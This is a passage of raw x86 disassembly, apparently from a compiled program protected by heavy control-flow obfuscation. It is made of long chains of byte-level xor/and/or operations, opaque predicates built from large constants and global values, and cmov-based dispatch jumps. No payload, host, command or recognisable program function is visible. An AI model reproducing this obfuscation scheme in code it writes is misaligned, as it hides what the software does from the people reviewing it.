xor bh, al
mov al, byte [ebp - 0x64f]
or al, ah
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, byte [ebp - 0x64b]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x64b]
and al, bh
or cl, al
mov al, byte [ebp - 0x63c]
and al, bl
mov ah, byte [ebp - 0x63c]
xor ah, bl
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and al, dh
mov bl, dl
xor bl, 1
and bl, 0xff
and dh, 1
or ah, al
or bl, dh
xor ah, bl
mov al, dl
xor al, 1
mov dh, byte [ebp - 0x643]
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x650], al
mov al, bl
and al, 1
mov byte [ebp - 0x651], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x652], al
mov al, byte [ebp - 0x643]
and al, bl
mov byte [ebp - 0x653], al
mov al, byte [ebp - 0x651]
or bh, al
mov al, byte [ebp - 0x652]
mov byte [ebp - 0x654], cl
mov cl, byte [ebp - 0x653]
or al, cl
xor bh, al
mov al, byte [ebp - 0x650]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov cl, byte [ebp - 0x654]
and cl, al
mov ah, byte [ebp - 0x654]
xor ah, al
or cl, ah
mov al, byte [ebp - 0x642]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x642]
and dh, ah
or al, dh
mov ah, dl
xor ah, 0
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, dl
xor al, 0
and al, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or al, bl
or bh, dh
xor al, bh
mov dh, byte [ebp - 0x642]
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, cl
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x655], al
mov al, cl
and al, bh
mov byte [ebp - 0x656], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x657], al
mov al, byte [ebp - 0x656]
or bl, al
mov al, byte [ebp - 0x657]
or al, bh
xor bl, al
xor bl, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
xor cl, 0xff
mov al, byte [ebp - 0x655]
xor al, 0xff
mov bh, dl
xor bh, 1
or cl, al
or bh, 1
xor cl, 0xff
and cl, bh
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov ah, bl
and ah, cl
xor bl, cl
or ah, bl
mov cl, al
xor cl, 0xff
mov dh, ah
and dh, cl
xor ah, 0xff
and al, ah
or dh, al
mov al, byte [ebp - 0x624]
xor al, 0xff
mov cl, byte [ebp - 0x627]
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, byte [ebp - 0x624]
xor cl, 0xff
mov ah, byte [ebp - 0x627]
and ah, cl
mov cl, byte [ebp - 0x627]
xor cl, 0xff
mov bl, byte [ebp - 0x624]
and bl, cl
or ah, bl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bl, cl
and bl, ah
or al, bl
xor al, 0xff
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x658], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor cl, 0xff
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 0
or cl, al
or bl, 0
xor cl, 0xff
and cl, bl
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x659], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x65a], al
mov al, byte [ebp - 0x659]
or al, bh
mov bh, byte [ebp - 0x65a]
or bh, bl
xor al, bh
xor al, 0xff
mov bl, dl
xor bl, 0
mov bh, dl
xor bh, 0
or al, bl
or bh, 0
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 1
xor ah, 0xff
mov bh, dl
xor bh, 0
or bl, ah
or bh, 0
xor bl, 0xff
and bl, bh
mov ah, byte [ebp - 0x658]
and ah, cl
mov bh, byte [ebp - 0x658]
xor bh, cl
or ah, bh
mov cl, al
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x65b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x65c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x65d], al
mov al, byte [ebp - 0x65b]
mov byte [ebp - 0x65e], cl
mov cl, byte [ebp - 0x65c]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x65f], al
mov al, byte [ebp - 0x65c]
and bl, al
mov al, byte [ebp - 0x65d]
mov byte [ebp - 0x660], cl
mov cl, byte [ebp - 0x65f]
or al, cl
mov cl, byte [ebp - 0x660]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x65e]
or cl, bh
xor cl, 0xff
mov bl, byte [ebp - 0x65c]
or bl, 1
and cl, bl
or al, cl
mov cl, ah
xor cl, 0xff
mov bl, al
and bl, cl
xor al, 0xff
and ah, al
or bl, ah
mov al, dl
xor al, 1
mov cl, ch
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov bh, ah
and bh, 1
mov byte [ebp - 0x661], al
mov al, ch
xor al, 0xff
and al, 0xff
and ch, ah
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0x661]
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x662], al
mov al, byte [ebp - 0x661]
and al, ch
mov byte [ebp - 0x663], al
mov al, ah
and al, 0
and cl, ch
mov byte [ebp - 0x664], al
mov al, byte [ebp - 0x663]
or bh, al
mov al, byte [ebp - 0x664]
or al, cl
xor bh, al
mov al, byte [ebp - 0x662]
or al, ah
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ah
or cl, ch
or bh, al
xor cl, bh
xor cl, 0xff
xor bl, 0xff
mov al, dl
xor al, 0
or cl, bl
or al, 0
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ch
or ah, dh
or bl, cl
xor ah, bl
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and al, dl
mov bl, ch
and bl, 0xff
and ah, dl
or dh, al
or bl, ah
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x618]
mov edi, dword [ebp - 0x620]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xa7bfcc63
mov ecx, 0x543c2ede
mov dl, 1
xor esi, esi
mov edi, dword [ebp - 0x94]
mov edi, dword [edi]
add edi, 0x18
mov ebx, dword [ebp - 0x90]
mov dword [ebx], edi
mov edi, dword [ebp - 0x90]
mov edi, dword [edi]
add edi, 0x60
add edi, 0x28
mov ebx, dword [ebp - 0x8c]
mov dword [ebx], edi
mov edi, dword [ebp - 0x90]
mov edi, dword [edi]
cmp dword [edi + 0x10], 0
setne dh
and dh, 1
mov byte [ebp - 0x27], dh
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x668], eax
mov eax, esi
sub eax, 0x656a7cd4
add eax, 0
mov dword [ebp - 0x66c], eax
mov eax, esi
sub eax, 1
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0x674], ecx
mov ecx, dword [ebp - 0x670]
add eax, ecx
sub eax, 0x354916dd
add eax, 0x656a7cd4
add eax, 0x354916dd
mov ecx, edi
sub ecx, 0x2275272d
add ecx, 0xae8cad49
add ecx, 0x2275272d
sub ecx, 0xfd1eb4b8
add ecx, eax
add ecx, 0xfd1eb4b8
sub esi, 0xae8cad49
add ecx, esi
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x675], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
and al, cl
xor ah, cl
or al, ah
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or al, ch
xor al, 0xff
mov cl, byte [ebp - 0x675]
xor cl, al
mov al, byte [ebp - 0x675]
and cl, al
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x675]
and bl, ch
or al, bl
xor al, 0xff
mov ch, dh
xor ch, al
and ch, dh
mov al, cl
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and cl, bl
mov byte [ebp - 0x676], al
mov al, dh
and al, 0xff
and ch, bl
or bh, cl
or al, ch
xor bh, al
mov al, byte [ebp - 0x676]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, ah
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, ah
xor cl, 0xff
mov ch, bh
and ch, cl
xor bh, 0xff
and ah, bh
or ch, ah
mov cl, al
xor cl, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 0
mov dh, cl
and dh, 0
and al, dl
mov bl, ah
and bl, 0
and ch, dl
or dh, al
or bl, ch
xor dh, bl
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x668]
mov edi, dword [ebp - 0x674]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xc6c42ece
mov ecx, 0xb2951f00
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x67c], eax
mov eax, esi
sub eax, 0x91e71d81
sub eax, 1
add eax, 0x91e71d81
mov dword [ebp - 0x680], eax
mov eax, esi
sub eax, 0x75b0a301
mov dword [ebp - 0x684], ecx
mov ecx, dword [ebp - 0x680]
add eax, ecx
add eax, 0x75b0a301
mov ecx, edi
add ecx, 0xcfd447d3
sub ecx, 0xcd4abc34
sub ecx, 0xcfd447d3
sub ecx, 0xb1321867
add ecx, eax
add ecx, 0xb1321867
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0xcd4abc34
add eax, ecx
sub esi, eax
imul edi, esi
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x685], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x686], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x687], al
mov al, byte [ebp - 0x686]
or al, cl
mov cl, byte [ebp - 0x687]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, byte [ebp - 0x685]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x685]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x685]
xor ch, cl
mov cl, byte [ebp - 0x685]
and ch, cl
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bh, dl
xor bh, 1
or ch, ah
or bh, 1
xor ch, 0xff
and ch, bh
mov ah, dl
xor ah, 1
and ah, 1
mov bh, dl
xor bh, 1
and bh, 1
or ah, bh
mov bh, ah
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov byte [ebp - 0x688], al
mov al, dl
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
mov al, dl
xor al, 1
mov byte [ebp - 0x689], al
mov al, dl
xor al, 1
mov byte [ebp - 0x68a], al
mov al, byte [ebp - 0x689]
or cl, al
mov al, byte [ebp - 0x68a]
or al, 1
xor cl, 0xff
and cl, al
mov al, dl
xor al, 1
xor ah, 0xff
mov byte [ebp - 0x68b], al
mov al, dl
xor al, 0
mov byte [ebp - 0x68c], al
mov al, byte [ebp - 0x68b]
or al, ah
mov ah, byte [ebp - 0x68c]
or ah, 0
xor al, 0xff
and al, ah
mov ah, ch
xor ah, 0xff
mov byte [ebp - 0x68d], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x68e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x68f], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x690], al
mov al, byte [ebp - 0x68f]
and ch, al
mov al, byte [ebp - 0x68e]
and al, 0xff
mov byte [ebp - 0x691], al
mov al, byte [ebp - 0x68f]
and bh, al
mov al, byte [ebp - 0x690]
or al, ch
mov ch, byte [ebp - 0x691]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x68e]
or ah, ch
xor ah, 0xff
mov bh, byte [ebp - 0x68f]
or bh, 1
and ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
mov bh, byte [ebp - 0x68d]
xor bh, 0xff
mov ch, dl
xor ch, 1
mov byte [ebp - 0x692], al
mov al, ah
and al, 0xff
and cl, ch
mov byte [ebp - 0x693], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x694], al
mov al, byte [ebp - 0x68d]
and al, ch
mov byte [ebp - 0x695], al
mov al, byte [ebp - 0x693]
or al, cl
mov cl, byte [ebp - 0x694]
mov byte [ebp - 0x696], al
mov al, byte [ebp - 0x695]
or cl, al
mov al, byte [ebp - 0x696]
xor al, cl
or ah, bh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov cl, byte [ebp - 0x692]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x692]
and cl, al
or ah, cl
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
and cl, 1
or al, cl
mov cl, byte [ebp - 0x688]
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bh, byte [ebp - 0x688]
and bh, ch
mov byte [ebp - 0x697], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x698], al
mov al, byte [ebp - 0x697]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x698]
or ch, al
xor cl, ch
xor cl, 0xff
mov al, byte [ebp - 0x688]
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov bh, ah
and bh, ch
or al, bh
mov ch, dh
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x699], al
mov al, dh
and al, bh
mov byte [ebp - 0x69a], al
mov al, byte [ebp - 0x699]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x69b], al
mov al, byte [ebp - 0x699]
and al, bh
mov bh, byte [ebp - 0x69a]
or ch, bh
mov bh, byte [ebp - 0x69b]
or bh, al
xor ch, bh
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
or ch, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
and bh, 1
or dh, bh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0x69c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x69d], al
and al, 1
mov byte [ebp - 0x69e], al
mov al, dl
xor al, 1
and al, 0xff
mov byte [ebp - 0x69f], al
mov al, byte [ebp - 0x69d]
and al, 1
mov byte [ebp - 0x6a0], al
mov al, byte [ebp - 0x69e]
or bh, al
mov al, byte [ebp - 0x69f]
mov byte [ebp - 0x6a1], cl
mov cl, byte [ebp - 0x6a0]
or al, cl
xor bh, al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x6a2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6a3], al
mov al, byte [ebp - 0x6a2]
and al, 0
mov byte [ebp - 0x6a4], al
mov al, byte [ebp - 0x6a3]
and ch, al
mov al, cl
and al, 0
mov byte [ebp - 0x6a5], al
mov al, byte [ebp - 0x6a3]
and dh, al
mov al, byte [ebp - 0x6a4]
or al, ch
mov ch, byte [ebp - 0x6a5]
or ch, dh
xor al, ch
mov ch, byte [ebp - 0x6a2]
or ch, cl
xor ch, 0xff
mov cl, byte [ebp - 0x6a3]
or cl, 0
and ch, cl
or al, ch
mov cl, dl
xor cl, 1
mov ch, bh
xor ch, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x6a6], al
mov al, cl
and al, 0
mov byte [ebp - 0x6a7], al
mov al, dh
and al, 1
mov byte [ebp - 0x6a8], al
mov al, ch
and al, 0
and bh, dh
mov byte [ebp - 0x6a9], al
mov al, byte [ebp - 0x6a7]
mov byte [ebp - 0x6aa], cl
mov cl, byte [ebp - 0x6a8]
or al, cl
mov cl, byte [ebp - 0x6a9]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x6aa]
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, byte [ebp - 0x6a6]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x6a6]
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, ah
and dh, cl
or al, dh
mov cl, byte [ebp - 0x685]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0x685]
and cl, al
or dh, cl
xor dh, 0xff
mov al, byte [ebp - 0x685]
xor al, 0xff
mov cl, dl
xor cl, 1
or dh, al
or cl, 1
xor dh, 0xff
and dh, cl
mov al, byte [ebp - 0x6a1]
xor al, 0xff
mov cl, byte [ebp - 0x69c]
xor cl, 0xff
mov bh, dl
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, byte [ebp - 0x6a1]
xor cl, 0xff
and cl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x6ab], al
mov al, byte [ebp - 0x6a1]
and al, bh
mov byte [ebp - 0x6ac], al
mov al, byte [ebp - 0x69c]
xor al, 0xff
and al, 0
mov byte [ebp - 0x6ad], al
mov al, byte [ebp - 0x69c]
and al, bh
mov bh, byte [ebp - 0x6ac]
or cl, bh
mov bh, byte [ebp - 0x6ad]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x6ab]
and al, cl
mov bh, byte [ebp - 0x6ab]
xor bh, cl
or al, bh
mov cl, dh
xor cl, 0xff
mov bh, ch
xor bh, cl
and bh, ch
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x6ae], al
mov al, dh
and al, cl
xor dh, 0xff
and ch, dh
or al, ch
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 1
mov byte [ebp - 0x6af], al
mov al, cl
and al, 0xff
and bh, dh
mov byte [ebp - 0x6b0], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x6b1], al
mov al, byte [ebp - 0x6af]
and al, dh
mov byte [ebp - 0x6b2], al
mov al, byte [ebp - 0x6b0]
or al, bh
mov bh, byte [ebp - 0x6b1]
mov byte [ebp - 0x6b3], al
mov al, byte [ebp - 0x6b2]
or bh, al
mov al, byte [ebp - 0x6b3]
xor al, bh
or cl, ch
xor cl, 0xff
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0x6ae]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x6ae]
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
xor cl, 0xff
mov dh, dl
xor dh, 0
or ch, cl
or dh, 0
xor ch, 0xff
and ch, dh
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
mov dh, cl
xor dh, 0xff
mov bh, byte [ebp - 0x6ae]
xor bh, dh
mov dh, byte [ebp - 0x6ae]
and bh, dh
mov dh, al
xor dh, 0xff
and dh, 0
mov byte [ebp - 0x6b4], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6b5], al
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x6b6], cl
mov cl, byte [ebp - 0x6b5]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0
mov byte [ebp - 0x6b7], al
mov al, byte [ebp - 0x6b5]
and al, 1
mov byte [ebp - 0x6b8], al
mov al, byte [ebp - 0x6b7]
or dh, al
mov al, byte [ebp - 0x6b8]
or cl, al
xor dh, cl
xor dh, 0xff
mov al, dl
xor al, 1
mov cl, dl
xor cl, 1
or dh, al
or cl, 1
xor dh, 0xff
and dh, cl
mov al, byte [ebp - 0x6b6]
xor al, 0xff
mov cl, byte [ebp - 0x6b4]
xor cl, al
mov al, byte [ebp - 0x6b4]
and cl, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x6b9], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x6ba], al
mov al, dl
xor al, 1
mov byte [ebp - 0x6bb], al
mov al, byte [ebp - 0x6b9]
and al, 0xff
mov byte [ebp - 0x6bc], al
mov al, byte [ebp - 0x6bb]
and ch, al
mov al, byte [ebp - 0x6ba]
and al, 0xff
mov byte [ebp - 0x6bd], al
mov al, byte [ebp - 0x6bb]
and bh, al
mov al, byte [ebp - 0x6bc]
or al, ch
mov ch, byte [ebp - 0x6bd]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x6b9]
mov bh, byte [ebp - 0x6ba]
or ch, bh
xor ch, 0xff
mov bh, byte [ebp - 0x6bb]
or bh, 1
and ch, bh
or al, ch
mov ch, dh
and ch, cl
xor dh, cl
or ch, dh
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
mov bh, ch
xor bh, 0xff
and bh, 0xff
and ch, dh
or cl, al
or bh, ch
xor cl, bh
mov al, byte [ebp - 0x688]
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x688]
and dh, ch
or al, dh
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
or ch, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bh, dl
xor bh, 1
and bh, 0
or dh, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x6be], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6bf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6c0], al
mov al, byte [ebp - 0x6bf]
or bh, al
mov al, byte [ebp - 0x6c0]
or al, 0
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x6c1], al
mov al, byte [ebp - 0x688]
mov byte [ebp - 0x6c2], cl
mov cl, byte [ebp - 0x6c1]
xor al, cl
mov cl, byte [ebp - 0x688]
and al, cl
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x6c3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6c4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x6c5], al
mov al, byte [ebp - 0x6c4]
or cl, al
mov al, byte [ebp - 0x6c5]
or al, 1
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x6c6], al
mov al, bl
mov byte [ebp - 0x6c7], cl
mov cl, byte [ebp - 0x6c6]
xor al, cl
and al, bl
mov cl, bh
xor cl, 0xff
mov bl, byte [ebp - 0x6c3]
xor bl, 0xff
mov byte [ebp - 0x6c8], al
mov al, dl
xor al, 1
mov byte [ebp - 0x6c9], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x6ca], al
mov al, byte [ebp - 0x6c9]
and bh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x6cb], al
mov al, byte [ebp - 0x6c3]
mov byte [ebp - 0x6cc], cl
mov cl, byte [ebp - 0x6c9]
and al, cl
mov cl, byte [ebp - 0x6ca]
or cl, bh
mov bh, byte [ebp - 0x6cb]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x6cc]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x6c9]
or bl, 1
and al, bl
or cl, al
mov al, byte [ebp - 0x6c7]
mov bl, byte [ebp - 0x6c8]
and al, bl
mov bh, byte [ebp - 0x6c7]
xor bh, bl
or al, bh
mov bh, cl
xor bh, 0xff
and bh, 0
mov bl, dl
xor bl, 0
and cl, bl
mov byte [ebp - 0x6cd], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x6ce], al
mov al, byte [ebp - 0x6cd]
and al, bl
or bh, cl
mov cl, byte [ebp - 0x6ce]
or cl, al
xor bh, cl
mov al, byte [ebp - 0x6be]
and al, ch
mov cl, byte [ebp - 0x6be]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or cl, al
or bl, ch
xor cl, bl
mov al, dl
xor al, 0
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x6cf], al
and al, 0xff
mov byte [ebp - 0x6d0], al
mov al, bl
and al, 0
mov byte [ebp - 0x6d1], al
mov al, ch
and al, 0xff
and dh, bl
mov byte [ebp - 0x6d2], al
mov al, byte [ebp - 0x6d0]
mov byte [ebp - 0x6d3], cl
mov cl, byte [ebp - 0x6d1]
or al, cl
mov cl, byte [ebp - 0x6d2]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x6cf]
or cl, ch
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x6d3]
xor cl, al
mov al, byte [ebp - 0x6d3]
and cl, al
mov ch, bh
and ch, cl
xor bh, cl
or ch, bh
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, ch
and bl, dh
or cl, bl
mov dh, dl
xor dh, 1
xor cl, 0xff
mov bl, dl
xor bl, 1
or dh, cl
or bl, 1
xor dh, 0xff
and dh, bl
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
and bl, 1
or cl, bl
xor ch, 0xff
xor cl, 0xff
mov bl, dl
xor bl, 0
or ch, cl
or bl, 0
xor ch, 0xff
and ch, bl
mov cl, dh
and cl, ch
xor dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
